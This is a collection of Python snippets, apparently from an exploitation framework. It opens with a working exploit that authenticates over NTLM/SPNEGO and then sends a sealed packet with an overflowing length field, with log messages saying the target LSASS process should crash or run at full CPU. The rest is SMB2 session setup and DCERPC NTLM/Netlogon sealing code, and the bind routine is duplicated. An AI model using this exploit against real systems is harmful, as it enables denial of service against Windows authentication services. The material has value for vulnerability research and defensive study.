def run(self): self.getArgs() s=self.gettcpsock() try: s.connect((self.host,self.port)) except: self.log('Could not connect to %s:%s'%(self.host,self.port)) return 0 ntlm=NTLM(self.user,self.password) packet=ntlm.negotiate() #Integrity and Confidentiality default to True packet=struct.pack('>BB',0x04,0x0a)+'GSS-SPNEGO'+struct.pack('>B',0x04)+asn1len(packet)+packet packet=struct.pack('>BBBBBBBL',0x02,0x01,0x03,0x04,0x00,0xa3,0x84,len(packet))+packet packet=struct.pack('>BBBBBL',0x02,0x01,0x03,0x60,0x84,len(packet))+packet packet=struct.pack('>BBL',0x30,0x84,len(packet))+packet s.send(packet) data=s.recv(1024) i=data.find('NTLMSSP') if i==-1: self.log('NTLMSSP negotiate failed.') return 0 ntlm.challenge(data[i:]) packet=ntlm.authenticate() packet=struct.pack('>BB',0x04,0x0a)+'GSS-SPNEGO'+struct.pack('>B',0x04)+asn1len(packet)+packet packet=struct.pack('>BBBBBBBL',0x02,0x01,0x03,0x04,0x00,0xa3,0x84,len(packet))+packet packet=struct.pack('>BBBBBL',0x02,0x01,0x04,0x60,0x84,len(packet))+packet packet=struct.pack('>BBL',0x30,0x84,len(packet))+packet s.send(packet) data=s.recv(1024) if data.find('error')!=-1: self.log('NTLMSSP authenticate failed.') return 0 data='A'*0x200 #it's only taking 0x100 bytes into account when we put the overflowing length anyway sealed_data=ntlm.SEAL(data) size=0xfffffffc #len(data)+0x10 packet=struct.pack('>L',size)+ntlm.MAC(data)+sealed_data s.send(packet) time.sleep(1) try: data=s.recv(1024) except timeoutsocket.Timeout: self.log('Timeout on recv(), LSASS most likely crashed. Aborting.') s.close() self.setProgress(100) self.log('The target LSASS should be either dead or using 100% CPU or still up :(') return 0
def session_setup(self): self.packet = SMB2Packet(None, SMB2_SESSION_SETUP, self.mid, self.pid, self.tid, self.sid) auth = NTLM(self.username, self.password, self.workstation, self.domain) #auth.set_type(NTLMSSP_NEGOTIATE) #auth.set_flag(0x80005) gss = GSSAPI(None, True) gss.spnego_init(auth.negotiate()) self.packet.body["Buffer"] = gss.pack() self.send_recv() self.sid = self.packet.header['SessionId'] # STATUS_MORE_PROCESSING_REQUIRED if self.packet.header['Status'] == 0xC0000016: auth = NTLM() #XX Use gssapi XX i = self.packet.body['Buffer'].find('NTLMSSP') auth.challenge(self.packet.body['Buffer'][i:]) # auth.get(self.packet.body['Buffer'][i:]) # auth.username = self.username # auth.password = self.password # auth.domain = self.domain # auth.set_unicode(1) # auth.set_ntlm_version(2) # auth.set_type(NTLMSSP_AUTH) # auth.set_flag(0x80005) gss = GSSAPI() gss.spnego_cont(auth.authenticate()) #gss.spnego_cont(auth.raw()) self.packet = SMB2Packet(None, SMB2_SESSION_SETUP, self.mid, self.pid, self.tid, self.sid) self.packet.body['SecurityMode'] = 0 self.packet.body['Buffer'] = gss.pack() self.send_recv()
class DCERPC(): """ Fragmentation level should be: None (no fragmentation at all, applies to DCERPC or underlying SMB client if over SMB 1 ( DCERPC fragmentation and moderate SMB fragmentation) 2 ( DCERPC fragmentation and max SMB fragmentation = VERY SLOW) """ def __init__(self, binding, getsock=None, username=None, password=None, computer=None, domain=None, kerberos_db=None, use_krb5=False, frag_level=None, smbport=445, smb_client=None): (binding, username, password, computer, domain) = map(assert_unicode, (binding, username, password, computer, domain)) self.packet = None self.username = username self.password = password self.computer = computer self.domain = domain self.kerberos_db = kerberos_db self.dcerpc_connection = None self.cont_id = 0 self.getsock = getsock self.auth_type = RPC_C_AUTHN_NONE self.auth_level = RPC_C_AUTHN_LEVEL_DEFAULT self.SessionKey = '' #XXX: Keeping notation from [MS-NRPC] self.ClientSequenceNumber = 0 #XXX: Keeping notation from [MS-NRPC] self.reassembled_data = '' self.ntlm = None self.krb5 = None self.frag_level = frag_level self.max_dcefrag = 0 if frag_level == None else 1 sequence, address, endpoint, _ = parseStringBinding(binding) self.address = address self.endpoint = endpoint if self.getsock: if ":" in address: sock = self.getsock.gettcpsock(AF_INET6=1) else: sock = self.getsock.gettcpsock() else: if ":" in address: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) else: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if sequence == u'ncacn_np': if endpoint.lower().startswith(u'\\pipe') == True: endpoint = endpoint[len(u'\\pipe'):] self.dcerpc_connection = DCERPCOverSMB(sock, address, smbport, endpoint, username, password, domain, kerberos_db, use_krb5, frag_level, smb_client) elif sequence == u'ncacn_ip_tcp': self.dcerpc_connection = DCERPCOverTCP(sock, address, int(endpoint)) else: raise DCERPCException('Unsupported transport: %s' % sequence) def seal_packet(self): if self.auth_type == RPC_C_AUTHN_NONE: #XXX: Nothing to do, returning --Kostya return elif self.auth_type == RPC_C_AUTHN_WINNT: if self.auth_level not in [ RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY ]: return auth_verifier = DCERPCAuthVerifier() size = len(self.packet.pack()) % 4 if size != 0: auth_verifier['auth_pad'] = '\0' * (4 - size) auth_verifier['auth_type'] = self.auth_type auth_verifier['auth_level'] = self.auth_level auth_verifier['auth_context_id'] = self.auth_context_id auth_verifier['auth_value'] = pack('<L8sL', 1, '\0' * 8, 0) self.packet.header['auth_length'] = len( auth_verifier['auth_value']) self.packet.body['auth_verifier'] = auth_verifier.pack() rpc_packet = self.packet.pack() if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY: sealed_data = self.ntlm.SEAL(self.packet.body['data'] + auth_verifier['auth_pad']) auth_verifier['auth_value'] = self.ntlm.MAC( rpc_packet[:-len(auth_verifier['auth_value'])]) if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY: self.packet.body['data'] = sealed_data[:len(self.packet. body['data'])] auth_verifier['auth_pad'] = sealed_data[len(self.packet. body['data']):] elif self.auth_type == RPC_C_AUTHN_NETLOGON: if self.auth_level not in [ RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY ]: #XXX: Unsupported --Kostya return auth_verifier = DCERPCAuthVerifier() size = len(self.packet.pack()) % 4 if size != 0: auth_verifier['auth_pad'] = '\0' * (4 - size) auth_verifier['auth_type'] = self.auth_type auth_verifier['auth_level'] = self.auth_level auth_verifier['auth_context_id'] = self.auth_context_id #XXX: Here we keep the notations of [MS-NRPC] --Kostya zeroes = '\0' * 4 SignatureAlgorithm = 0x77 #HMAC-MD5 SealAlgorithm = 0xffff if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY: SealAlgorithm = 0x7a #RC4 NlAuthSignature = pack('<HHHH', SignatureAlgorithm, SealAlgorithm, 0xffff, 0) Confounder = '\x01' * 8 #XXX: Not so random, randomize? --Kostya CopySeqNumber = pack('>LL', self.ClientSequenceNumber & 0xffffffff, (self.ClientSequenceNumber >> 32) | 0x80000000) self.ClientSequenceNumber += 1 h = MD5.new() h.update(zeroes) h.update( NlAuthSignature[:8] ) #XXX: At this point, it should only be 8 bytes anyway --Kostya h.update(Confounder) h.update(self.packet.body['data']) Checksum = HMAC.new(self.SessionKey, h.digest()).digest()[:8] if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY: XorKey = '' for i in range(len(self.SessionKey)): XorKey += chr(ord(self.SessionKey[i]) ^ 0xf0) TmpData = HMAC.new(XorKey, zeroes).digest() EncryptionKey = HMAC.new(TmpData, CopySeqNumber).digest() Confounder = ARC4.new(EncryptionKey).encrypt(Confounder) self.packet.body['data'] = ARC4.new(EncryptionKey).encrypt( self.packet.body['data']) TmpData = HMAC.new(self.SessionKey, zeroes).digest() EncryptionKey = HMAC.new(TmpData, Checksum).digest() SequenceNumber = ARC4.new(EncryptionKey).encrypt(CopySeqNumber) NlAuthSignature += SequenceNumber NlAuthSignature += Checksum NlAuthSignature += Confounder auth_verifier['auth_value'] = NlAuthSignature else: logging.debug( 'seal_packet: auth_type or auth_level not supported!') return self.packet.header['auth_length'] = len(auth_verifier['auth_value']) self.packet.body['auth_verifier'] = auth_verifier.pack() def unseal_packet(self): if self.auth_type == RPC_C_AUTHN_NONE: #XXX: Nothing to do, returning --Kostya return elif self.auth_type == RPC_C_AUTHN_WINNT: if self.auth_level != RPC_C_AUTHN_LEVEL_PKT_PRIVACY: return auth_verifier = DCERPCAuthVerifier( self.packet.body['auth_verifier'], self.packet.header['auth_length']) if auth_verifier['auth_pad_length'] != 0: unsealed_data = self.ntlm.UNSEAL(self.packet.body['data'] + auth_verifier['auth_pad']) auth_verifier['auth_pad'] = unsealed_data[ -auth_verifier['auth_pad_length']:] self.packet.body[ 'data'] = unsealed_data[:-auth_verifier['auth_pad_length']] else: self.packet.body['data'] = self.ntlm.UNSEAL( self.packet.body['data']) auth_value = auth_verifier['auth_value'] #auth_verifier['auth_value'] = pack('<L8sL', 1, '\0' * 8, 0) #not used --Kostya self.packet.body['auth_verifier'] = auth_verifier.pack() rpc_packet = self.packet.pack() server_mac = self.ntlm.MAC( rpc_packet[:-len(auth_verifier['auth_value'])], False ) #this is a server MAC, hence the ClientMode = 'False' --Kostya if auth_value != server_mac: logging.debug('***** INVALID MAC *****') logging.debug('unsealed packet: %s' % (rpc_packet.encode('hex'))) logging.debug('unsealed data: %s' % (self.packet.body['data'].encode('hex'))) logging.debug('received MAC: %s' % (auth_value.encode('hex'))) logging.debug('computed MAC: %s' % (server_mac.encode('hex'))) return elif self.auth_type == RPC_C_AUTHN_NETLOGON: if self.auth_level != RPC_C_AUTHN_LEVEL_PKT_PRIVACY: #XXX: We do not check the Checksum, only decrypt the data --Kostya return if self.packet.header['auth_length'] != 32: #XXX: Something is wrong --Kostya return zeroes = '\0' * 4 auth_verifier = DCERPCAuthVerifier( self.packet.body['auth_verifier'], self.packet.header['auth_length']) NlAuthSignature = auth_verifier['auth_value'] _, _, _, _, SequenceNumber, Checksum, Confounder = unpack( '<HHHH8s8s8s', NlAuthSignature) TmpData = HMAC.new(self.SessionKey, zeroes).digest() EncryptionKey = HMAC.new(TmpData, Checksum).digest() CopySeqNumber = ARC4.new(EncryptionKey).decrypt( SequenceNumber) #XXX: We trust the server information --Kostya XorKey = '' for i in range(len(self.SessionKey)): XorKey += chr(ord(self.SessionKey[i]) ^ 0xf0) TmpData = HMAC.new(XorKey, zeroes).digest() EncryptionKey = HMAC.new(TmpData, CopySeqNumber).digest() Confounder = ARC4.new(EncryptionKey).decrypt(Confounder) self.packet.body['data'] = ARC4.new(EncryptionKey).decrypt( self.packet.body['data']) else: logging.debug( 'unseal_packet: auth_type or auth_level not supported!') def __bind_alter(self, packet_type, uuid, version, auth_type, auth_level, t_uuid=None, t_ver=None): """ """ if packet_type not in [DCERPC_bind, DCERPC_alter_context]: return 0 (uuid, version) = map(assert_unicode, (uuid, version)) self.auth_type = auth_type self.auth_level = auth_level self.packet = DCERPCPacket(packet_type=packet_type) self.packet.header['pfc_flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG self.packet.body.add_abstract_syntax(uuid, version, self.cont_id, t_uuid, t_ver) self.cont_id += 1 if auth_type != RPC_C_AUTHN_NONE: auth_verifier = DCERPCAuthVerifier() self.auth_context_id = random.randint(0x2000, 0xf000) << 4 auth_verifier['auth_context_id'] = self.auth_context_id size = len(self.packet.pack()) % 4 if size != 0: auth_verifier['auth_pad'] = '\0' * (4 - size) auth_verifier['auth_type'] = auth_type auth_verifier['auth_level'] = auth_level if auth_type == RPC_C_AUTHN_WINNT: if auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY: Integrity = True Confidentiality = False elif auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY: Integrity = True Confidentiality = True else: Integrity = False Confidentiality = False self.ntlm = NTLM(self.username, self.password, self.computer, self.domain, Integrity, Confidentiality) auth_verifier['auth_value'] = self.ntlm.negotiate() elif auth_type == RPC_C_AUTHN_NETLOGON: auth_verifier['auth_value'] = pack( '<LL', 0, 3 ) + self.domain.encode('CP850') + '\0' + self.computer.encode( 'CP850') + '\0' #XXX: As close to OEM encoding --Kostya else: raise DCERPCException('auth_type not supported!') self.packet.header['auth_length'] = len( auth_verifier['auth_value']) self.packet.body['auth_verifier'] = auth_verifier.pack() data = self.dcerpc_connection.send_recv(self.packet.pack()) if data == None: logging.debug('data=None') return 0 self.packet = DCERPCPacket(data) if self.packet.header['PTYPE'] in [ DCERPC_bind_ack, DCERPC_alter_context_resp ]: max_dcefrag = self.packet.body['max_recv_frag'] - ( DCERPC_HEADER_SIZE + 8) if self.max_dcefrag == 0 or max_dcefrag < self.max_dcefrag: self.max_dcefrag = max_dcefrag # Check Ack status and abort if rejected if self.packet.header['PTYPE'] == DCERPC_bind_ack: result = self.packet.body['p_result_list'] result = unpack('<H', result[4:6])[0] if result == 2: # Bind ack provider rejection logging.debug('bind ack provider rejection') return 0 if self.packet.header['PTYPE'] == DCERPC_bind_nak: logging.debug('DCERPC bind nak received, reason: %d' % self.packet.body['provider_reject_reason']) logging.info( 'BIND nak received, if using dcerpc crypto disable by setting covertness to 1 and try again.' ) return 0 if auth_type != RPC_C_AUTHN_NONE: auth_verifier = DCERPCAuthVerifier( self.packet.body['auth_verifier'], self.packet.header['auth_length']) if auth_type == RPC_C_AUTHN_WINNT: self.ntlm.challenge(auth_verifier['auth_value']) self.packet = DCERPCPacket(packet_type=DCERPC_auth_3) self.packet.header[ 'pfc_flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG size = len(self.packet.pack()) % 4 if size != 0: auth_verifier['auth_pad'] = '\0' * (4 - size) auth_verifier['auth_value'] = self.ntlm.authenticate() self.packet.header['auth_length'] = len( auth_verifier['auth_value']) self.packet.body['auth_verifier'] = auth_verifier.pack() data = self.dcerpc_connection.send_recv(self.packet.pack(), response=False) # XXX: we need to keep state and check the status on the next command for auth3 return 1 elif auth_type == RPC_C_AUTHN_NETLOGON: if auth_verifier['auth_value'] != pack('<LLH', 1, 0, 0): return 0 self.ClientSequenceNumber = 0 return 1 def bind(self, uuid, version, auth_type=RPC_C_AUTHN_NONE, auth_level=RPC_C_AUTHN_LEVEL_DEFAULT, t_uuid=None, t_ver=None): logging.debug('auth_type=0x%x auth_level=0x%x' % (auth_type, auth_level)) status = self.dcerpc_connection.connect() if status != 0: # XXX: This will trigger unhandled exceptions in old code raise DCERPCException('Error while connecting to %s:%s' % (self.address, self.endpoint)) # logging.error("Error while connecting to %s:%s" % (self.address, self.endpoint)) # return 0 return self.__bind_alter(DCERPC_bind, uuid, version, auth_type, auth_level, t_uuid, t_ver) def alter_context(self, uuid, version, auth_type=RPC_C_AUTHN_NONE, auth_level=RPC_C_AUTHN_LEVEL_DEFAULT): self.__bind_alter(DCERPC_alter_context, uuid, version, auth_type, auth_level) return 1 def call(self, opnum, data, response=True): frags = [] size = len(data) if 0 in (self.max_dcefrag, size): frags.append(data) else: for i in range(0, size, self.max_dcefrag): frags.append(data[i:i + self.max_dcefrag]) for i in range(len(frags)): self.packet = DCERPCPacket(packet_type=DCERPC_request) self.packet.body['opnum'] = opnum self.packet.body['alloc_hint'] = size self.packet.body['data'] = frags[i] if not self.cont_id: self.packet.body['p_cont_id'] = 0 else: self.packet.body['p_cont_id'] = self.cont_id - 1 #XXX: We assume the latest is the one we want. Change that later? --Kostya #XXX: There is a bug in the last line. If self.cont_id is 0 then self.packet.body['p_cont_id'] # holds -1 (int). However the packing assumes a short thus it falls out of range and the code # crashes. This issue may be triggered when unexpected answers occur. I'm currently unable to # design the appropriate fix. -- r.a. if i == 0: self.packet.header['pfc_flags'] |= PFC_FIRST_FRAG if i == (len(frags) - 1): self.packet.header['pfc_flags'] |= PFC_LAST_FRAG self.seal_packet() if i == (len(frags) - 1): #Last packets (or single packets) appear to be TRANSACTION ones and not WRITE_ANDX ones data = self.dcerpc_connection.send_recv( self.packet.pack(), response, option=OPTION_SMB_TRANSACT) else: data = self.dcerpc_connection.send_recv(self.packet.pack(), response=False) self.reassembled_data = '' if data is not None: self.packet = DCERPCPacket(data) if self.packet.header['PTYPE'] != DCERPC_fault: self.unseal_packet() self.reassembled_data += self.packet.body['data'] while (self.packet.header['pfc_flags'] & PFC_LAST_FRAG) == 0: logging.debug( 'Not the last fragment, calling dcerpc_connection.recv() one more time.' ) data = self.dcerpc_connection.recv() if data is None: break self.packet = DCERPCPacket(data) self.unseal_packet() self.reassembled_data += self.packet.body['data'] else: logging.debug('DCERPC Fault, no reassembled data') #XXX: Todo --Kostya return 1
def __bind_alter(self, packet_type, uuid, version, auth_type, auth_level, t_uuid=None, t_ver=None): """ """ if packet_type not in [DCERPC_bind, DCERPC_alter_context]: return 0 (uuid, version) = map(assert_unicode, (uuid, version)) self.auth_type = auth_type self.auth_level = auth_level self.packet = DCERPCPacket(packet_type=packet_type) self.packet.header['pfc_flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG self.packet.body.add_abstract_syntax(uuid, version, self.cont_id, t_uuid, t_ver) self.cont_id += 1 if auth_type != RPC_C_AUTHN_NONE: auth_verifier = DCERPCAuthVerifier() self.auth_context_id = random.randint(0x2000, 0xf000) << 4 auth_verifier['auth_context_id'] = self.auth_context_id size = len(self.packet.pack()) % 4 if size != 0: auth_verifier['auth_pad'] = '\0' * (4 - size) auth_verifier['auth_type'] = auth_type auth_verifier['auth_level'] = auth_level if auth_type == RPC_C_AUTHN_WINNT: if auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY: Integrity = True Confidentiality = False elif auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY: Integrity = True Confidentiality = True else: Integrity = False Confidentiality = False self.ntlm = NTLM(self.username, self.password, self.computer, self.domain, Integrity, Confidentiality) auth_verifier['auth_value'] = self.ntlm.negotiate() elif auth_type == RPC_C_AUTHN_NETLOGON: auth_verifier['auth_value'] = pack( '<LL', 0, 3 ) + self.domain.encode('CP850') + '\0' + self.computer.encode( 'CP850') + '\0' #XXX: As close to OEM encoding --Kostya else: raise DCERPCException('auth_type not supported!') self.packet.header['auth_length'] = len( auth_verifier['auth_value']) self.packet.body['auth_verifier'] = auth_verifier.pack() data = self.dcerpc_connection.send_recv(self.packet.pack()) if data == None: logging.debug('data=None') return 0 self.packet = DCERPCPacket(data) if self.packet.header['PTYPE'] in [ DCERPC_bind_ack, DCERPC_alter_context_resp ]: max_dcefrag = self.packet.body['max_recv_frag'] - ( DCERPC_HEADER_SIZE + 8) if self.max_dcefrag == 0 or max_dcefrag < self.max_dcefrag: self.max_dcefrag = max_dcefrag # Check Ack status and abort if rejected if self.packet.header['PTYPE'] == DCERPC_bind_ack: result = self.packet.body['p_result_list'] result = unpack('<H', result[4:6])[0] if result == 2: # Bind ack provider rejection logging.debug('bind ack provider rejection') return 0 if self.packet.header['PTYPE'] == DCERPC_bind_nak: logging.debug('DCERPC bind nak received, reason: %d' % self.packet.body['provider_reject_reason']) logging.info( 'BIND nak received, if using dcerpc crypto disable by setting covertness to 1 and try again.' ) return 0 if auth_type != RPC_C_AUTHN_NONE: auth_verifier = DCERPCAuthVerifier( self.packet.body['auth_verifier'], self.packet.header['auth_length']) if auth_type == RPC_C_AUTHN_WINNT: self.ntlm.challenge(auth_verifier['auth_value']) self.packet = DCERPCPacket(packet_type=DCERPC_auth_3) self.packet.header[ 'pfc_flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG size = len(self.packet.pack()) % 4 if size != 0: auth_verifier['auth_pad'] = '\0' * (4 - size) auth_verifier['auth_value'] = self.ntlm.authenticate() self.packet.header['auth_length'] = len( auth_verifier['auth_value']) self.packet.body['auth_verifier'] = auth_verifier.pack() data = self.dcerpc_connection.send_recv(self.packet.pack(), response=False) # XXX: we need to keep state and check the status on the next command for auth3 return 1 elif auth_type == RPC_C_AUTHN_NETLOGON: if auth_verifier['auth_value'] != pack('<LLH', 1, 0, 0): return 0 self.ClientSequenceNumber = 0 return 1